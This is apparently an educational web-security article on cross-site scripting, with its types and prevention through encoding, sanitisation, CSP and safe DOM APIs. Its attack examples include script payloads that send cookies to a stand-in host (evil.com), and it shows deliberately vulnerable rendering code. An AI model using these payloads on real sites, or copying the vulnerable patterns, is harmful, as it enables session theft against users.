Back to Learning Center
highOWASP A03:2021CWE-79

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by other users. When a victim's browser executes the injected script, attackers can steal session cookies, capture keystrokes, redirect users to malicious sites, or perform actions on behalf of the victim.

XSS is consistently in the OWASP Top 10 because it's everywhere—any place where user input is displayed without proper encoding is a potential XSS vulnerability.

Types of XSS

Reflected XSS

The malicious script comes from the current HTTP request. The attacker tricks the victim into clicking a crafted URL:

reflected-xss.html
<!-- Vulnerable search page -->
<p>Search results for: <?= $_GET['query'] ?></p>

<!-- Attacker sends victim this link: -->
https://example.com/search?query=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

<!-- When victim clicks, their cookies are sent to attacker -->

Stored XSS

The malicious script is permanently stored on the target server (in a database, comment field, etc.). Every user who views the infected page executes the script:

stored-xss.js
// Attacker posts a comment containing:
// <script>fetch('https://evil.com/steal?c='+document.cookie)</script>

// Vulnerable comment display:
app.get('/comments', async (req, res) => {
  const comments = await db.query('SELECT * FROM comments');
  
  // VULNERABLE: Rendering raw HTML from database
  res.send(`
    <div class="comments">
      ${comments.map(c => `<div>${c.text}</div>`).join('')}
    </div>
  `);
});

DOM-Based XSS

The vulnerability exists in client-side JavaScript that processes user input unsafely:

dom-xss.js
// VULNERABLE: Using innerHTML with URL parameter
const params = new URLSearchParams(window.location.search);
const name = params.get('name');

// This executes any script in the 'name' parameter
document.getElementById('greeting').innerHTML = `Hello, ${name}!`;

// Attack URL:
// https://example.com/page?name=<img src=x onerror=alert(document.cookie)>

Prevention Techniques

Output Encoding

Always encode user input when rendering it in HTML. Different contexts require different encoding:

output-encoding.tsx
// React automatically escapes by default - SAFE
function Comment({ text }: { text: string }) {
  return <div>{text}</div>; // XSS-safe
}

// DANGEROUS: Bypasses React's protection
function UnsafeComment({ text }: { text: string }) {
  return <div dangerouslySetInnerHTML={{ __html: text }} />;
}

// If you MUST render HTML, sanitize it first
import DOMPurify from 'dompurify';

function SafeHtmlComment({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Content Security Policy (CSP)

CSP is a browser security feature that restricts what scripts can execute. Even if XSS exists, CSP can prevent exploitation:

csp-header.ts
// Next.js middleware for CSP
import { NextResponse } from 'next/server';

export function middleware(request: Request) {
  const response = NextResponse.next();
  
  // Strict CSP - only allow scripts from same origin
  response.headers.set(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
  );
  
  return response;
}

Use textContent Instead of innerHTML

safe-dom.js
// VULNERABLE
element.innerHTML = userInput;

// SAFE - treats input as text, not HTML
element.textContent = userInput;

// For URLs, validate the protocol
function safeSetHref(element, url) {
  const parsed = new URL(url, window.location.origin);
  if (parsed.protocol === 'http:' || parsed.protocol === 'https:') {
    element.href = url;
  }
  // Blocks javascript: URLs
}

Security Checklist

  • Use a framework that auto-escapes output (React, Vue, Angular)
  • Never use innerHTML or dangerouslySetInnerHTML with user input
  • Implement Content Security Policy headers
  • Set HttpOnly flag on sensitive cookies to prevent JavaScript access
  • Sanitize HTML with DOMPurify if you must accept rich text
  • Validate URLs before using them in href or src attributes

Practice Challenges

View all

Related Articles

View all